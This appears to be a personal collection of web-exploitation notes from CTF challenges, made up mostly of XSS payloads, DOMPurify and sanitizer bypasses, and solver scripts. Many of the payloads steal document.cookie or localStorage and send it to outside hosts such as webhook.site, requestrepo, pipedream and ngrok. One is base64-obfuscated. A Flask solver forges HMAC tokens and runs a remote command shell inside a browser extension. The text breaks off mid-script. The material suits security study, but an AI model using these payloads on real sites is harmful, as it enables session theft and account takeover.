    <img alt="--></style><base href='/(document.location=/http:/.source.concat(String.fromCharCode(47)).concat(String.fromCharCode(47)).concat(/cb6c5dql.requestrepo.com/.source).concat(String.fromCharCode(47)).concat(document.cookie));var[Page]=[1]//x/' />">
    </body>
    
    // run this in browser console to get exploit url
    ht = `<div><div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div><style><![CDATA[</style><div data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>`
    copy(ht)
    
    I'm not 100% sure if this is right, but my understanding of how this works - HTML and XHTML have different rules for parsing things, especially <style> tags and <![CDATA[ nodes. HTML basically ignores cdata nodes, so the </style> in inside the CDATA closes the style tag in html but not in XHTML. So in HTML the style element is `<style><![CDATA[</style>` where in XHTML it is `<style><![CDATA[</style><div data-x"]]></style>` since the </style> inside the CDATA section does not close the style tag in XHTML unlike in HTML . In  HTML, a lot of the rest of this is inside the data-x attribute, so DOMPurify thinks it is safe as it is inside a safe attribute. in XHTML, where the style tag ends later, the rest of this is not inside the attribute, so its treated as normal tags. The iframe with the name attribute is used for DOM clobbering, in order to make sure that the js variable named `Page` is defined. This is needed so the 404 page is valid js. Then the base tag changes the interpretation of the script tags already on the page to load them with that prefix, which triggers a 404 response, but since the name of the page is in the 404 response, this turns out to be valid javascript that redirects the page and the cookies to the webhook.
    

    not work, only dompurify 3.0.5

    <x><style><!--</style><img title="--></style><base href='/**/=1;alert(1)//'></base>">
    
    import html
    
    script = f'''
    <style><!--</style><img title="--></style>
    <iframe srcdoc='{html.escape('<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script><img src="x" ng-on-error="document=$event.target.ownerDocument.defaultView.parent;document.alert(document.location)"/>')}'></iframe>
    '''
    print(script)

    unitended using express js behaviour

    http://0.0.0.0:3000/a/g;alert(1)//a%2f..%2f..%2f..%2findex.html
    

    CSP sha256 bypass

    frogshare (cor ctf 2023)

    i spent so much time doing this shit

    <foreignObject>
    <iframe srcdoc='
    <!DOCTYPE html>
    <html>
    <head>
    <base href="<https://eog5s758w3ele8d.m.pipedream.net/>">
    <script defer="">var scripts = [&#x27;/_next/static/chunks/webpack-8fa1640cc84ba8fe.js&#x27;,&#x27;/_next/static/chunks/framework-2c79e2a64abdb08b.js&#x27;,&#x27;/_next/static/chunks/main-f11614d8aa7ee555.js&#x27;,&#x27;/_next/static/chunks/pages/_app-9ae7fe4840c69ee5.js&#x27;,&#x27;/_next/static/chunks/563-2188736518d17c1f.js&#x27;,&#x27;/_next/static/chunks/226-7ba96d4cf9c948e4.js&#x27;,&#x27;/_next/static/chunks/pages/frogs/%5Bid%5D-6b71efae2fad8343.js&#x27;,&#x27;/_next/static/6gniHfstKbVd8Ond1a8dE/_buildManifest.js&#x27;,&#x27;/_next/static/6gniHfstKbVd8Ond1a8dE/_ssgManifest.js&#x27;]
        scripts.forEach(function(scriptUrl) {
          var s = document.createElement(&#x27;script&#x27;)
          s.src = scriptUrl
          s.async = false // to preserve execution order
          s.defer = true
          document.head.appendChild(s)
        })</script>
    </head>
    </html>
    '></iframe>
    </foreignObject>
    

    So we can use base tag trick if the sha of the script that generated in srcdoc same as that generated in csp.

    xss in a tag (bauhania CTF 2023 river crab extinction)

    Code with issues: https://github.com/e2guardian/e2guardian/blob/v3.4/src/HTMLTemplate.cpp#L172-L182

    https://github.com/e2guardian/e2guardian/issues/782

    another payload:

    <http://34.101.126.116:53622/'autofocus//onfocus=eval(atob('Y29uc3QgY29va2llID0gZG9jdW1lbnQuY29va2llCmNvbnN0IHhodHRwID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CnhodHRwLm9wZW4oIkdFVCIsIGBodHRwOi8vLzAudGNwLmFwLm5ncm9rLmlvOjE4MzQ2P2Nvb2tpZT0ke2Nvb2tpZX1gLCB0cnVlKTsKeGh0dHAuc2VuZCgpOw=='));'>
    

    Mini XSS using BaseURI in iframe

    SekaiCTF 2023 Golf Jail

    because location hash will be decoded to uri, we use decodeURICompenent to bypass it

    <svg/onload=eval(`'`+baseURI)>#';eval(decodeURIComponent('console.log(1)'))
    
    <svg/onload=eval(`'`+URI)>#';eval(decodeURIComponent('console.log(1)'))
    

    Another Mini XSS, but using HTMX tag

    <i hx-on::load=eval("'"+location)>
    
    <i hx-on::load=eval(name)>
    
    <http://localhost:8080/note/aaaa#'+eval(decodeURIComponent('alert(1)>'))
    

    sXSS using function Math (conditional)

    https://sekai.team/blog/intigriti-0823/writeup/

    bypass iframes lenght using attachShadow

    Bypass this:

    plz xss
    <script>window.onmessage = e => (e.source == top && e.source.length == 0 ? console.log(e.source, e.source.length) || eval(e.data) : console.log(e, e.source == top))</script>
    

    ex

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>Shadow DOM with iframe</title>
    </head>
    <body>
      <h1>Main Page</h1>
      <div id="shadow-container"></div>
      <script>
        const shadowContainer = document.querySelector('#shadow-container');
        const shadowRoot = shadowContainer.attachShadow({ mode: 'open' });
    
        // Create an iframe element
        const iframe = document.createElement('iframe');
        iframe.src = '<http://web/>';
        iframe.width = '500';
        iframe.height = '300';
    
        shadowRoot.appendChild(iframe);
        console.log(iframe.contentWindow);
    
        setTimeout(function() { shadowRoot.querySelector('iframe').contentWindow.postMessage('x=open("<http://web/");open("https://asdsadsadsad.free.beeceptor.com/?flag=>"+encodeURIComponent(x.document.cookie))','*') } , 500);
      </script>
    </body>
    </html>
    

    XSS Sink

    > "asd".replace("asd",()=>{console.log("testing")})
    testing
    'undefined'
    

    path transfesal in URL class

    > new URL("<https://google.com/asd/../malicious>")
    URL {
     href: '<https://google.com/malicious>',
     origin: '<https://google.com>',
     protocol: 'https:',
     username: '',
     password: '',
     host: 'google.com',
    

    XSS with CVE

    It has CVE-2019-20372 (Request Smuggling):

    1linenginx

    https://balsnctf.com/challenges#1linenginx-25

    https://gist.github.com/arkark/32e1a0386360fe5ce7d63e141a74d7b9

    Awesomenotes II Hacklu ctf 2023

    only work in amonia sanitizer in rust. with specific allow list?

    <math><semantics><mi>a</mi><annotation-xml encoding="text/html"><style><span>xxx<h1>no</h1><img src=x onerror="alert(1)"></span></style></annotation-xml></semantics><mo>+</mo><mi>b</mi></math>
    

    math annotation-xml if it has an attribute called encoding whose value is equal to either text/html or application/xhtml+xml

    another solver

    <math><mtext><svg><style><a title="</style><img src onerror=alert(1)>">test
    
    <math><semantics><annotation-xml encoding="text/html"><style></math><img src=x onerror="alert(1)">
    

    Bypassing working context using meta redirection

    https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON CTF 2023/Canvas/exp/exp2.html

    setHTML is a component of the HTML Sanitizer API, and it's worth noting that the default allowlist includes the meta tag, allowing you to leverage it for the purpose of navigating to a blob URL. The key advantage here is that this navigation remains within the same origin, ensuring seamless functionality.

    let url = URL.createObjectURL(new this.Blob(['redirect to blob'], { type: 'text/html' }))
    document.write('<meta http-equiv="refresh" content="0; url='+url+'">')
    

    Dompurify Inject Style

    <svg><style>aaa</style></svg>
    

    Actually why does dompurify do this is it because it doesn't sanitize in svg namespace

    No... Just some of tags could be used inside svg, which is safe normally.

    you can do something like this too

    a<style></style>
    

    Mutation XSS in JSON inside script tag using domclobering to make it work

    example at tsgctf 2023 challenge Absurdress

    <figure>
    	{{img|safe}}
    	<figcaption>
    		Quote this image by
    		<code>!&lsqb;description&rsqb;&lpar;{{image_id}}&rpar;</code>
    		<button type="button" class="copy">Copy</button>
    	</figcaption>
    </figure>
    <script nonce="{{csp_nonce()}}">
    	const files = {{files|json|safe}};
    	const file = getBestImage(files, window.devicePixelRatio);
    
    

    where the mutation here:

    @app.template_filter('json')
    def json_filter(dttm):
        return json.dumps(dttm, ensure_ascii=False)
    
    def get_img_srcset(file):
        if file['zoom'] is not None:
            return f'/assets/{file["path"]} {file["zoom"]}x'
        return f'/assets/{file["path"]}'
    
    
    def get_img(alt, image_id):
        if request.path.startswith('/images/'):
            image_id = request.path.split('/')[-1]
    
        image = db.images.find_one({'image_id': image_id})
        if image is None:
            return ''
    
        srcset = ', '.join(get_img_srcset(file) for file in image['files'])
        return f'<img srcset="{srcset}" alt="{alt}">'
    
    
    def replace_img(match):
        return get_img(match.group(1).decode(), match.group(2).decode()).encode()
    
    
    @app.after_request
    def after_request(response):
        response.direct_passthrough = False
    
        data = response.get_data()
        response.data = re.sub(b'!\\\\[(.*?)\\\\]\\\\((.+?)\\\\)', replace_img, data)
    
        return response
    
    

    solver:

    from hashlib import md5
    import random
    import httpx
    
    URL = "<http://34.84.176.251:55416/>"
    
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    
    
    class API(BaseAPI):
        def upload_image(s, file):
            return s.c.post("/image", files={"image": file}, follow_redirects=True)
        def get_image(s, filehash):
            return s.c.get("/images/"+filehash)
    
    
    if __name__ == "__main__":
        api = API()
        content = open("output.png", "rb").read()+random.randbytes(6)
        res = api.upload_image(('document.![+alert(1)+](x).x+"+` name=x2><a id=assets><a id=images>`+', content, 'image/png'))
        hash = md5(content).hexdigest()
        res = api.get_image(hash)
        print(res.text)
        print(res.url)
    

    another

    #!/usr/bin/env zsh
    # ddd.png is a valid png file
    # need to prepare a valid domain name (e.g. abc.com)
    cat ddd.png <(dd if=/dev/urandom bs=1 count=8) > tmp.png
    curl '<http://34.84.176.251:55416/image>' -F 'image=@tmp.png; filename="START![,zz//](asddh)END`/window.ext+((new Image)['"'"'src'"'"']='"'"'\\x2f\\x2fabc\\x2ecom?'"'"'+document['"'"'cookie'"'"'])}];`;<!-- \\" id=assets><div id=images><div id=x2>-->"'
    md5sum tmp.png | awk '{ print $1 }'
    # admin visit <http://34.84.176.251:55416/images/$hash>
    # TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}
    
    import requests
    import os
    from hashlib import md5
    from time import sleep
    
    url = "<http://34.84.176.251:55416>"
    # url = "<http://localhost:55416>"
    
    
    filename = 'hoge.![+](xx).x+[location=`WEBHOOK?`+document[`cookie`]]+"+`<form id=hoge><form id=hoge name=x2><input name=x value=clobbered><a id=assets><a id=images>`+'
    content = open("example.png", "rb").read() + os.urandom(8)
    
    image_id = md5(content).hexdigest()
    
    files = {
        'image': (filename, content, "image/png")
    }
    
    res = requests.post(f"{url}/image", files = files)
    
    print(image_id)
    # report image/{image_id} to trigger xss
    

    if in puppeter localstorage is executed before and will be deleted on page load, we can get it using iframe

    await page.goto('<http://web>',{ waitUntil: 'domcontentloaded', timeout: 2000 });
    await page.evaluate(flag => localStorage.setItem('secret', flag), flag);
    await page.close()
    page = await browser.newPage();
    await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 })
    
    <body>
    <script>
    const TARGET_BASE_URL = "<http://web>";
    // const TARGET_BASE_URL = "<http://localhost:8000>";
    
    const HOOK_URL = "<https://webhook.site/xxx>";
    
    const elm = document.createElement("iframe");
    elm.src = `${TARGET_BASE_URL}?p=${encodeURIComponent(`
      const w = open("${TARGET_BASE_URL}");
      const flag = w.localStorage.getItem("secret");
      location = "${HOOK_URL}?q=" + flag;
    `)}`;
    document.body.appendChild(elm);
    </script>
    </body>
    

    reference: because it's partitioned so first it will not remove the secret https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning#static_partitioning

    Shadow Element leak

    asis ctf 2023 finals : Sayeha you can leak shadow element using something like this

    it's only work if we can embed an iframe inside the shadow element

    html=<iframe name='x'></iframe>&p=location='<http://webhook/?'+open>('', 'x').frameElement.parentElement.firstChild.data
    

    reference https://github.com/whatwg/html/issues/763

    saheya (both):
    - emojis that don't fit in u16 won't be found by the loop since it would be searching for partial codepoints
    - put an emoji somewhere you can find (given the whole emoji) that doesn't show up in innerText
    - we used `<details contenteditable><summary></summary>🫠</details>`
    - then use `document.execCommand("insertHTML")` (like in old channel writeup) to inject custom html into the shadow dom
    - problem! we cannot access the shadow dom from the outside no matter what we do, right? (and csp prevents xss in there)
    - solution: shadow dom can access custom elements defined in an outside context, and you can access the element in `connectedCallback`
    

    something about shadow element

    https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md

    Bypass refferer waf

    we can bypass referer in iframe using

    <iframe referrerpolicy="no-referrer"
    

    DOMPurify bypass via utf-8 to ascii format

    there's special case where output of dompurify will be formated to ascii.

    // A place for us to run tests without affecting prod letters!
    // Currently testing:
    // - Rich text via HTML with DOMPurify for safety
    // - Base64 encoding
    app.get("/setTestLetter", async function (req, res) {
        try {
            const { msg } = req.query;
    
            if (!msg) {
                return res.status(400).send("Missing msg parameter");
            }
    
            // We are testing rich text for the love letters! Best be safe!
            const cleanMsg = DOMPurify.sanitize(msg);
    
            const letter = await DebugLetters.create({
                letterValue: Buffer.from(cleanMsg).toString('base64')
            });
    
            return res.redirect(`/readTestLetter/${letter.letterId}`);
        } catch (err) {
            console.error(err);
            return res.status(500).send("An error occurred");
        }
    });
    
    app.get("/readTestLetter/:uuid", async function (req, res) {
        try {
            const { uuid } = req.params;
    
            if (!uuid) {
                return res.status(400).send("Missing uuid in path parameter");
            }
    
            const letter = await DebugLetters.findOne({
                where: { letterId: uuid }
            });
    
            if (!letter) {
                return res.status(404).send("Letter not found");
            }
    
            const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');
    
            return res.status(200).send(decodedMessage);
        } catch (err) {
            console.error(err);
            return res.status(500).send("An error occurred");
        }
    });
    

    from example above you can do something like this

    import httpx
    
    URL = "<https://api.challenge-0224.intigriti.io/>"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    
        def set_letter(s, msg):
            return s.c.get("/setTestLetter", params={"msg": msg}, follow_redirects=True)
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        api = API()
        res = api.set_letter("\\xfcimg src=x onerror=alert(1)>")
        print(res.url)
        print(res.text)
    
    
    \\xfcimg src=x onerror=alert(1)>
    converted to
    C<img src=x onerror=alert(1)>
    

    XSS by duplicate

    source stealthcopter Just a quick demo of what I was talking about with the event interception using duplicate id/class.

    <html>
    <head>
        <script src="<https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js>"></script>
    </head>
    <body>
    
    <!-- Our injected element that intercepts the clicky -->
    <form>
        <input id="test" type="hidden" class="hidden" onclick="alert(1)">
    </form>
    
    <!-- Real element that should handle the clicky -->
    <button id="test" onclick="console.log('clicky111')">Clicky</button>
    
    <script>
        <!-- Example bit of code that will trigger an onevent call (onclick in this case) -->
        $('#test').click();
    </script>
    </body>
    </html>
    

    The click example might be a bit contrived, but it'll also work for other onevents

    i.e. if there's any javascript that handles scrolling for an element you can use onscroll. onfocus works for any focussing events. onsubmit is a good one, quite a few you can look for 🙂

    Bfcache to xss

    https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote

    HTMX thing

    solver

    <div data-nice data-hx-swap-oob="beforeend:html">
      <div data-hx-on::load="fetch('//webhook.site/2c21cc27-c7bb-460b-b054-82b31ff38216?'+document.cookie)">
    </div>

    DOMPurify Bypass Using Byte Order Mark (BOM) (OUTDATED check https://github.com/mozilla/standards-positions/issues/1199 & https://groups.google.com/a/chromium.org/g/blink-dev/c/yIgrr5YNGJ4)

    GPN CTF 2024

    In the program, it will only work if the input is reflected in the first two bytes.

    import httpx
    
    URL = "https://crazy-what-love-can-do--david-guetta-0854.ctf.kitctf.de"
    # URL = "http://localhost:1337"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url, follow_redirects=True)
        def submit(self, p):
            return self.c.get("/submit", params=p)
    
    class API(BaseAPI):
        ...
    
    if __name__ == "__main__":
        # GPNCTF{UN1C0D3_15_4_N34T_4TT4CK_V3CT0R}
        api = API()
        p = "<script>document.write(document.cookie)</script>"
        # https://ctftime.org/writeup/16642
        payload = "\ufffe"
        for i in p:
            payload += eval(f"'\\u{ord(i):02x}00'")
        print(payload)
        res = api.submit(payload)
        print(res.url)
        print(res.content.decode("utf-16be"))
    

    related https://ctftime.org/writeup/16642

    In summary, there are three common ways that a browser uses to determine the character encoding of an HTML document, ordered by priority:

  • Byte-Order Mark at the beginning of the HTML document
  • charset attribute in the Content-Type header
  • <meta> tag in the HTML document
  • Encoding Differentials: Why Charset Matters | Sonar (sonarsource.com)

    Image

    Enabling all switch

    http://localhost:8080/%1b$B%1b(B%3C/%1b(Btitle%3E%3Cimg%20src=x%20onerror=alert(1)%3E

    Mutation XSS in html-react-parser

    <?php
    
    header('X-Frame-Options: DENY');
    header('X-Content-Type-Options=nosniff');
    header('Referrer-Policy: no-referrer');
    header('Content-Type: text/html; charset=UTF-8');
    
    if(isset($_REQUEST['source'])){
        die(highlight_file('index.php'));
    }
    
    $message = isset($_REQUEST['message']) ? $_REQUEST['message'] : 'no shenanigans allowed';
    $message = preg_replace("/frame/i", "🖼", $message);
    $message = preg_replace("/script/i", "🐇", $message);
    $message = base64_encode($message);
    ...
    
    <script>
    ReactDOM.createRoot(html).render(HTMLReactParser(atob("<?php echo $message; ?>")));
    </script>
    
    <link href="/css.css" rel="stylesheet">
          <script crossorigin src="https://unpkg.com/react@latest/umd/react.production.min.js"></script>
          <script crossorigin src="https://unpkg.com/react-dom@latest/umd/react-dom.production.min.js"></script>
          <script crossorigin src="https://unpkg.com/html-react-parser@latest/dist/html-react-parser.min.js"></script>

    solver

    http://reaction2-1.play.hfsc.tf:8000/?message=%3Cimg%20is=%22img%22%20src=%22x%22%20onerror=%22alert(1)%22%3E
    <math><style><!-- <img src=x onerror=alert(domain)> --> was intended, but multiple ways
    react doesn't strip onevent tags for custom tags so <my-xss onfocus=alert(1) autofocus tabindex=1>

    Some xss obfuscation

    &lt;img src=x onerror=`${x=String.fromCharCode`47`}${eval.call`${`a=localStorage.pocketbase${String.fromCharCode`95`}auth`}`}${location=`${x}${x}157.230.252.80${x}${a}`}`&gt;

    Injecting multipart form data in custom http request parser

    Some postMessage + Ifram exploitation?

    Some crazy iframe exploit?

    Some inter domain attack

    Image

    Use of onbeforeunload or window.stop() to gain race condition in browser extension

    UICTF 2024 pwnypass

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    
    <body>
        <form method="POST" action="/?submited">
            <input name="username" type="text">
            <input name="password" type="password">
        </form>
        <div></div>
        <script>
            const username = document.querySelector('input[type="text"]');
            const password = document.querySelector('input[type="password"]');
            const form = document.querySelector('form');
    
            const url = new URL(window.location.href);
            const params = new URLSearchParams(url.search);
            const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    
            /*
            // its says its more stable
            setTimeout(async() => {
                username.value = `hacked`;
                password.value = `hacked`;
    
                window.onbeforeunload = async () => {
                    password.dispatchEvent(new Event('change'));
                    await sleep(300);
                    form.dispatchEvent(new Event('submit'));
                };
    
                await sleep(1000);
                location.href = "https://pwnypass.c.hc.lc/login.php"
            });
            */
    
            setTimeout(async() => {
                username.value = `hacked3`;
                password.value = `hacked3`;
                // wait for plugin to load
                await sleep(1000)
    
                window.location.assign("https://pwnypass.c.hc.lc/");
                password.dispatchEvent(new Event('change'));
                await sleep(100);
                window.stop();
                await sleep(300);
                window.location.assign("https://pwnypass.c.hc.lc/");
                form.dispatchEvent(new Event('submit'));
                await sleep(100);
                window.stop();
                await sleep(200);
                window.open("https://pwnypass.c.hc.lc/login.php");
            });
        </script>
    </body>
    
    </html>
    

    Another solver

    const form = document.forms[0];
    form.method = "post";
    form.action = "https://pwnypass.c.hc.lc";
    form.dummy.value = "x".repeat(2 ** 24);
    form.username.value = `"><style>@import "${ATTACKER_BASE_URL}/cssi";</style><div "`;
    form.password.value = "abc";
    await sleep(1000);
    
    form.submit();
    await sleep(100);
    form.password.dispatchEvent(new Event("change"));
    await sleep(500);
    form.dispatchEvent(new Event("submit"));

    Explanation about step 2 of the challenge

  • tl;dr was to leak the extension frame src somehow to get a valid token/hash (multiple methods to do this - one is using this API ). With a valid token/hash, you can use hash length extension to forge an evaluate command. With access to the eval() in the background SW, you can use tabs APIs to open a file:// URI for the flag and executeScript to read it. 2024-07-02T05:15:00.000+08:00
  • @arxenix
      Image

      tl;dr was to leak the extension frame src somehow to get a valid token/hash (multiple methods to do this - one is using this API ). With a valid token/hash, you can use hash length extension to forge an evaluate command. With access to the eval() in the background SW, you can use tabs APIs to open a file:// URI for the flag and executeScript to read it. 2024-07-02T05:15:00.000+08:00

      Image
  • Explanation about technique number 1

  • We abused the fact that for non-renderer (=process which executes JS / renders the web page) triggered navigations, the main browser process will coordinate all frame processes, executing all their beforeunload handlers at the same time with a 500ms timeout
  • 2024-07-01T08:24:00.000+08:002024-07-01T08:24:00.000+08:002024-07-01T08:24:00.000+08:00

      The important part here is that this happens after a pending navigation entry has been set, so during a timeframe where pending_url will already point to the new host

  • 2024-07-01T08:25:00.000+08:002024-07-01T08:25:00.000+08:002024-07-01T08:25:00.000+08:00

      This isn't the case when the navigation is renderer-initiated, since in this case we can just run those handlers before even asking the browser to navigate away

  • 2024-07-01T08:25:00.000+08:002024-07-01T08:25:00.000+08:002024-07-01T08:25:00.000+08:00

      Which in effect means that for such navigations, a pending entry won't have been set yet

  • Either way, our exploit works by creating an iframe embedding a different domain (causing two processes to be created for isolation purposes; if it's not a different domain, Chromium will just use the existing one for performance reasons), and said iframe installs a beforeunload handler which stalls for around a second
  • 2024-07-01T08:27:00.000+08:002024-07-01T08:27:00.000+08:002024-07-01T08:27:00.000+08:00

      We then trigger a page navigation by setting location.href

  • 2024-07-01T08:27:00.000+08:002024-07-01T08:27:00.000+08:002024-07-01T08:27:00.000+08:00

      What happens afterwards is that either because of the nature of location.href, or because there are multiple processes (not sure on that), the renderer won't execute beforeunload handlers itself, instead sending an IPC to the browser to do so

  • 2024-07-01T08:28:00.000+08:002024-07-01T08:28:00.000+08:002024-07-01T08:28:00.000+08:00

      The browser then sets a pending entry (=pending_url), and tells both JS processes to execute beforeunload handlers, waiting for both to finish before moving on

      You could also leak the iframe src for part2 using some performance APIs, such as https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Monitoring_bfcache_blocking_reasons

      import string, logging, codecs, HashTools, threading, queue, sys
      import urllib.parse as urlparse 
      from flask import Flask, request, redirect
      
      SERVER_URL = "https://609bbc147b53.ngrok.app"
      FLAG = ""
      
      app = Flask(__name__)
      
      @app.route("/stage1")
      def stage1():
          if not b"refresh" in request.query_string:
              print()
              print(f"Serving stage1 exploit to {request.remote_addr}")
      
          return f"""
      <form id="form">
          <input id="name" name="username" type="text">
          <input id="password" name="password" type="password" value="pwn">
      </form>
      
      <script>
          if (!location.search.includes("refresh")) {{
              var _form = document.getElementById("form");
              var _name = document.getElementById("name");
      
              // Load stage2 in the extension iframe
              _name.value = "<meta http-equiv='refresh' content='0; url={SERVER_URL}/stage2'>";
      
              setTimeout(() => _name.dispatchEvent(new Event("change")), 1000);
              setTimeout(() => _form.dispatchEvent(new Event("submit")), 1500);
              setTimeout(() => location.href += "?refresh", 2000);
          }}
      </script>
          """
      
      @app.route("/stage2")
      def stage2():
          print(f"Serving stage2 exploit to {request.remote_addr}")
      
          return f"""
      <script>
          // Since the top-level window is same-origin, we can access its `src`
          // I learnt about `window.frameElement` from the CTF Discord :p
          // (but to be fair, if we found the later exploit during the CTF I doubt that we wouldn't have found some other way to leak this)
          setTimeout(() => location.href = "{SERVER_URL}/pwn?src=" + encodeURIComponent(window.frameElement.src), 1000);
      </script>
          """
      
      @app.route("/pwn")
      def pwn():
          src = urlparse.unquote(request.args.get("src"))
          print(f"Exfiltrated iframe src: '{src}'")
      
          url = urlparse.urlparse(src)
          query = urlparse.parse_qs(url.query)
      
          token, hmac = query["token"][0], query["hmac"][0]
          print(f" - token = {token}")
          print(f" - hmac  = {hmac}")
      
          orig_token = token
          ts, tab, origin, cmd, arg1, arg2 = token.split("|")
      
          # Abuse the fact that s2a / Uint8Array.from discards the upper bits from any character code to render the latter part of the token ineffective
          # parseNumber will discard these Unicode characters following the tag ID, all while not changing the HMAC :)
          def neutralize(str): return "".join(chr(ord(c) + 256) for c in str)
          token = f"{ts}|{tab}" + neutralize(f"|{origin}|{cmd}|{arg1}|{arg2}")
      
          # Now we can pull of a length-extension attack to append our own command >:)
          js_payload = rf"""
              // Overkill JS exfiltration shell
              async function shell() {{
                  console.log("exfiltration shell launched!");
      
                  while (true) {{
                      // Fetch a URL
                      let resp = await fetch("{SERVER_URL}/shell/get_cmd");
                      if (!resp.ok) return;
      
                      let cmd = await resp.text();
                      if (cmd.length == 0) {{
                          await new Promise(reslv => setTimeout(reslv, 1000));
                          continue;
                      }}
      
                      console.log(`got command: ${{cmd}}`);
      
                      // Exfiltrate from said URL
                      // Accidentally got spoiled about that part from the CTF Discord :/
                      let tab = await new Promise(reslv => chrome.tabs.create({{ url: cmd  }}, reslv));
                      
                      await new Promise(resolve => setTimeout(resolve, 1000));
                          
                      let res = await new Promise(reslv => chrome.tabs.executeScript(tab.id, {{ code: "document.body.innerHTML" }}, reslv));
      
                      console.log(`got result: ${{res}}`);
                      await fetch('{SERVER_URL}/shell/cmd_res', {{ method: 'post', body: res}});
                  }}
              }}
              shell();
          """
          
          enc_payload = ",".join(str(ord(c)) for c in js_payload)
          enc_payload = f"eval(String.fromCharCode({enc_payload}))"
      
          ext_token, hmac = HashTools.SHA256().extension(32, orig_token.encode("ascii"), f"|{origin}|evaluate|{enc_payload}|".encode(), hmac)
          token = token + "".join(chr(c) for c in ext_token[len(token):]) # ensures we have no decode errors
      
          print(f" - forged token = {token.encode()}")
          print(f" - forged hmac  = {hmac}")
      
          query["token"][0] = token
          query["hmac"][0] = hmac
      
          url = url._replace(query=urlparse.urlencode(query, doseq=True))
          return redirect(urlparse.urlunparse(url))
      
      # Overkill exfiltration shell endpoints
      cmd_queue = queue.Queue()
      should_read_cmd = threading.Semaphore(0)
      did_ask_for_cmd = False
      
      class CmdThread(threading.Thread):
          def run(self):
              while True:
                  should_read_cmd.acquire()
                  cmd_queue.put(input())
      
      cmd_thread = CmdThread(daemon=True)
      cmd_thread.start()
      
      @app.route("/shell/get_cmd")
      def shell_get_cmd():
          global did_ask_for_cmd
      
          try:
              return cmd_queue.get_nowait()
          except queue.Empty:
              if not did_ask_for_cmd:
                  print(f"{request.remote_addr} > ", end="")
                  sys.stdout.flush()
      
                  did_ask_for_cmd = True
                  should_read_cmd.release()
      
              return ""
      
      @app.route("/shell/cmd_res", methods=["POST"])
      def shell_cmd_res():
          global did_ask_for_cmd
      
          print(request.data.decode())
      
          did_ask_for_cmd = False
          return ""
      
      logging.getLogger('werkzeug').level = logging.WARN
      app.run(host="0.0.0.0", port=1337)

      ctf-writeups/uiuctf/2024 at main · icesfont/ctf-writeups (github.com)

      You can use window.frameElement.src to leak iframe src of if iframed web

      look at the solver above

  • Encoding Differentials

    Can be used only if Content-Type not have charset and only work in firefox somehow

    And only ASCII Escape Sequence and the blue one work

    here’s the example challenge

    https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web/forms

    Encoding Differentials: Why Charset Matters | Sonar (sonarsource.com)

    Strange Functionality in Gunicorn verison 21.3.0 SCRIPT_NAME can change basepath of script and get XSS by including our desired script

    CORCTF 2024

    web/iframe-note solution: here's the main part of my solution:

    <!DOCTYPE html>
    <html>
    <body>
        <script>
            const TARGET = "https://iframe-note.be.ax";
            const sleep = ms => new Promise(r => setTimeout(r, ms));
            window.onload = async () => {
                navigator.sendBeacon("https://webhook");
                window.opener.location = `${TARGET}//exploit.com/ctf/corctf24/view`;
                await sleep(2000);
                window.opener.location = `${TARGET}/view?id=x&%5f_proto__[baseURL]=${TARGET}//exploit.com/ctf/corctf24/view%23&%5f_proto__[headers][SCRIPT_NAME]=//exploit.com/ctf/corctf24`;
                await sleep(2000);
                window.opener.location = "about:blank";
                await sleep(500);
                window.opener.history.go(-2);
                await sleep(500);
                window.close();
            };
        </script>
    </body>
    </html>
    

    the idea is that since gunicorn is directly exposed (and running a slightly out of date version), we can directly send a SCRIPT_NAME header to control the base path of the application. that lets you do something funny like this:

    curl https://iframe-note.be.ax////example.com/view -H "SCRIPT_NAME: //example.com"
    <!DOCTYPE html>
    <html>
    <head>
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>iframe-note</title>
      <link rel=stylesheet href="//example.com/static/marx.min.css">
    </head>
    <body>
      <main>
        <h1>iframe-note</h1>
    
        <hr />
    
    <h3 id="name"></h3>
    <br />
    <iframe id="iframe"></iframe>
    <script src="//example.com/static/axios.min.js"></script>
    <script src="//example.com/static/can.min.js"></script>
    // ...
    

    where you can supply the base path for the <script> tag URLs. so to exploit, you need the admin bot to visit the view page with a malicious SCRIPT_NAME header. you can do this exploiting the prototype pollution and disabling bfcache. then, you just use the iframe feature to iframe your own site and window.open your payload (since you need to control a tab and you can only report URLs on iframe-note.be.ax).

    the other like uvicorn and etc is only aplicable if we can controll the env variable

    Browser Plugin that using declarativeNetRequest if can be injected can lead to CSP header removal

    cor.team | corCTF 2024 - corctf-challenge-dev

    for corctf-challenge-dev we do something like this to inject new html element inside newly created elemen by extension. and then fire the onclick event using dispatchEvent.

    func fact: we do 3 hours of debugging why the rules doesn't strip the CSP header in dev console to find out that it's work even the header is still there 🥲

    <iframe src="<http://localhost:8080/challenge/94b5ae93417d>"></iframe>
    <script>
      const sleep = (s) => new Promise((r) => setTimeout(r, s))
      document.addEventListener("DOMContentLoaded", async () => {
        await sleep(1000)
        const condition = document.querySelector("#condition")
        const form = document.querySelector("#submit-btn")
    
        function createRules(name, value) {
